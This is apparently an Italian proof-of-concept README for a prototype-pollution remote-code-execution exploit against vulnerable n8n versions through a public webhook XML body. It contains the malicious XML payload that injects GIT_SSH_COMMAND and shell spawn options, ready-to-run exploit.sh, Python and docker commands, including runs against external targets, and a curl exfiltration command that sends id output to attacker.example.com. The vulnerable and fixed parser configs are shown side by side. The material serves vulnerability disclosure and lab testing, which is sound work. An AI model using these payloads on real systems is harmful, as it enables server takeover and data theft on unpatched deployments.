// packages/cli/src/middlewares/body-parser.ts  (VULNERABILE — < 1.123.32)
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,   // converte i tag in minuscolo — ma NON blocca __proto__
    explicitArray: false,
    // ← NESSUN tagNameProcessors
    // ← NESSUN attrNameProcessors
});

function sanitizeXmlName(name: string): string {
    const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
    return unsafe.has(name) ? `sanitized_${name}` : name;
}
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,
    explicitArray: false,
    tagNameProcessors:  [sanitizeXmlName],
    attrNameProcessors: [sanitizeXmlName],
});

1. L'attaccante invia una POST XML a un trigger Webhook pubblico:

      POST /webhook/<id>  Content-Type: application/xml
      <?xml version="1.0" encoding="UTF-8"?>
      <root>
        <__proto__>
          <env GIT_SSH_COMMAND="attacker_cmd"/>
          <spawnoptions><shell>true</shell></spawnoptions>
        </__proto__>
      </root>

2. Il body parser xml2js crea req.body.root dove '__proto__' è una
   PROPRIETÀ DATI ENUMERABILE PROPRIA:
      Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
      → { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}],
          enumerable: true, writable: true, configurable: true }

3. deepCopy() di n8n itera le chiavi proprie tramite for...in + hasOwnProp.
   L'assegnazione  clone['__proto__'] = deepCopy(attackerArray)
   sostituisce silenziosamente il prototipo di clone tramite l'accessor [[Set]].

4. n8n serializza i dati di esecuzione nel DB:
      JSON.stringify(body.root)
      → '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}'
   La chiave __proto__ è inclusa perché è propria ed enumerabile.
   Confermato nella tabella execution_data in SQLite.

5. Al ricaricamento, JSON.parse ricrea '__proto__' come proprietà dati propria
   (oggetto semplice, senza avvolgimento in array).
      Object.assign(gitOptions, reloadedBody)
   reindirizza il prototipo di gitOptions all'oggetto controllato dall'attaccante.

6. Quando il nodo Git chiama simpleGit(gitOptions):
      createInstanceConfig(gitOptions)
   legge config.spawnOptions tramite la catena del prototipo → truthy →
   spawnOptionsPlugin viene registrato.
   Con GIT_SSH_COMMAND nell'oggetto env, git esegue il comando dell'attaccante
   alla successiva operazione SSH.

<env GIT_SSH_COMMAND="attacker_cmd"/>

chmod +x exploit.sh
./exploit.sh setup

./exploit.sh setup

[*] Download dell'immagine n8n vulnerabile (1.123.22) ...
[*] Costruzione dell'immagine dell'attaccante ...
[*] Avvio del target n8n vulnerabile ...
[*] Attesa che n8n diventi sano ...
[*] Creazione del workflow webhook (Webhook → nodo Code) ...
[+] Laboratorio pronto.

    Esegui:  ./exploit.sh demo        # verifica la primitiva di pollution
             ./exploit.sh exploit     # consegna tutti e tre i payload RCE

./exploit.sh demo

[+] HTTP 200
    Risposta: {"step1_ownEnumerableProto":true,
               "step1_descriptor":{"enumerable":true,
                 "value":"[{},{\"polluted\":\"GHSA-q5f4-99jv-pgg5-CONFERMATO\"}]"},
               "step2_deepCopySimulated":true,
               "step3_jsonRoundTripOwn":true,
               "step3_jsonStr":"{\"__proto__\":[...],\"legit\":\"harmless-data\"}",
               "step4_objectAssignPolluted":true, ...}

./exploit.sh exploit
# oppure con un comando personalizzato:
./exploit.sh exploit "curl http://attacker.example.com/\$(id|base64)"

pip install -r requirements.txt

# Solo verifica — nessun nodo Git richiesto:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <percorso-webhook> \
    --demo

# Exploit completo — richiede workflow Webhook + Git/SSH:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <percorso-webhook> \
    --cmd 'curl http://attacker.example.com/$(id|base64)'

python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target "http://n8n.target.com/webhook/<workflowId>" \
    --webhook-id <percorso> \
    --demo

cd /tmp/xml2js-test && npm install [email protected]
node /path/to/verify_GHSA-q5f4-99jv-pgg5.js

[STEP 1] VULNERABILE — '__proto__' è una proprietà dati enumerabile propria
         descrittore: { value: '[Object.prototype, {"polluted":"CONFERMATO"}]',
                       enumerable: true, writable: true, configurable: true }
[STEP 1] Il parser corretto ha rinominato __proto__ in sanitized___proto__
[STEP 2] Prototipo deepCopy modificato → clone proto[1].polluted = "CONFERMATO"
[STEP 3] Dopo JSON round-trip + Object.assign → target.polluted = "undefined"
[ RCE ]  Se target è usato come config simpleGit E il prototipo espone
         es. { spawnOptions: { shell: true } }, git verrà avviato tramite una shell
[STEP 4] mockGitConfig.spawnOptions = {"shell":"/bin/bash"} (trovato tramite catena del prototipo)
[ RCE ]  simpleGit chiamerebbe: spawnOptionsPlugin(config.spawnOptions)
══ RISULTATO: L'istanza usa configurazione xml2js VULNERABILE (nessun sanitizeXmlName) ══

# Costruisci l'immagine dell'attaccante
docker build -t n8n-proto-pollution-poc .

# Modalità demo (si collega alla rete del laboratorio condiviso)
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
    n8n-proto-pollution-poc \
    --target http://n8n-vuln:5678/webhook/<workflowId> \
    --webhook-id cve-2026-42231-poc \
    --demo

# Exploit completo
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
    n8n-proto-pollution-poc \
    --target http://n8n-vuln:5678/webhook/<workflowId> \
    --webhook-id cve-2026-42231-poc \
    --cmd 'curl http://attacker.example.com/$(id|base64)'

# Contro un target esterno (nessun flag di rete necessario)
docker run --rm n8n-proto-pollution-poc \
    --target https://n8n.example.com \
    --webhook-id <percorso> \
    --demo

./exploit.sh clean